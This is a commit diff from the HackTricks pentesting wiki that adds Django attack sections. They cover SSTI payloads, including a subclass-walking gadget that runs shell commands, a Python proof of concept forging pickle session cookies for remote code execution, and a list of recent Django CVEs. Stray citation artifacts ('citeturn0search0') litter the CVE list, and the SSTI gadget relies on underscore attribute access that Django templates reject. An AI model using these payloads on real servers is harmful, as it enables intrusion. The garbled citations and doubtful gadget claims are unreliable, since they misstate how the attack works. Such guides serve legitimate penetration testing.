Skip to content

Commit 9efc9a8

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
2 parents 27b3886 + 22b702e commit 9efc9a8

File tree

1 file changed

+66
-1
lines changed
  • src/network-services-pentesting/pentesting-web

1 file changed

+66
-1
lines changed

src/network-services-pentesting/pentesting-web/django.md

Lines changed: 66 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,12 +3,77 @@
33
{{#include /banners/hacktricks-training.md}}
44

55
## Cache Manipulation to RCE
6-
Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server**.
6+
Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server**.
77

88
Django cache is stored in one of four places: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Maintainers have marked this as a non-issue. It's important to note that the cache file folder, SQL table name, and Redis server details will vary based on implementation.
99

1010
This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
1111

12+
---
1213

14+
## Server-Side Template Injection (SSTI)
15+
The Django Template Language (DTL) is **Turing-complete**. If user-supplied data is rendered as a *template string* (for example by calling `Template(user_input).render()` or when `|safe`/`format_html()` removes auto-escaping), an attacker may achieve full SSTI → RCE.
16+
17+
### Detection
18+
1. Look for dynamic calls to `Template()` / `Engine.from_string()` / `render_to_string()` that include *any* unsanitised request data.
19+
2. Send a time-based or arithmetic payload:
20+
```django
21+
{{7*7}}
22+
```
23+
If the rendered output contains `49` the input is compiled by the template engine.
24+
25+
### Primitive to RCE
26+
Django blocks direct access to `__import__`, but the Python object graph is reachable:
27+
```django
28+
{{''.__class__.mro()[1].__subclasses__()}}
29+
```
30+
Find the index of `subprocess.Popen` (≈400–500 depending on Python build) and execute arbitrary commands:
31+
```django
32+
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
33+
```
34+
A safer universal gadget is to iterate until `cls.__name__ == 'Popen'`.
35+
36+
The same gadget works for **Debug Toolbar** or **Django-CMS** template rendering features that mishandle user input.
37+
38+
---
39+
40+
## Pickle-Backed Session Cookie RCE
41+
If the setting `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` is enabled (or a custom serializer that deserialises pickle), Django *decrypts and unpickles* the session cookie **before** calling any view code. Therefore, possessing a valid signing key (the project `SECRET_KEY` by default) is enough for immediate remote code execution.
42+
43+
### Exploit Requirements
44+
* The server uses `PickleSerializer`.
45+
* The attacker knows / can guess `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, etc.).
46+
47+
### Proof-of-Concept
48+
```python
49+
#!/usr/bin/env python3
50+
from django.contrib.sessions.serializers import PickleSerializer
51+
from django.core import signing
52+
import os, base64
53+
54+
class RCE(object):
55+
def __reduce__(self):
56+
return (os.system, ("id > /tmp/pwned",))
57+
58+
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
59+
print(f"sessionid={mal}")
60+
```
61+
Send the resulting cookie, and the payload runs with the permissions of the WSGI worker.
62+
63+
**Mitigations**: Keep the default `JSONSerializer`, rotate `SECRET_KEY`, and configure `SESSION_COOKIE_HTTPONLY`.
64+
65+
---
66+
67+
## Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check
68+
* **CVE-2025-48432***Log Injection via unescaped `request.path`* (fixed June 4 2025). Allows attackers to smuggle newlines/ANSI codes into log files and poison downstream log analysis. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2. citeturn0search0
69+
* **CVE-2024-42005***Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Craft JSON keys to break out of quoting and execute arbitrary SQL. Fixed in 4.2.15 / 5.0.8. citeturn1search2
70+
71+
Always fingerprint the exact framework version via the `X-Frame-Options` error page or `/static/admin/css/base.css` hash and test the above where applicable.
72+
73+
---
74+
75+
## References
76+
* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025. citeturn0search0
77+
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024. citeturn1search2
1378

1479
{{#include /banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)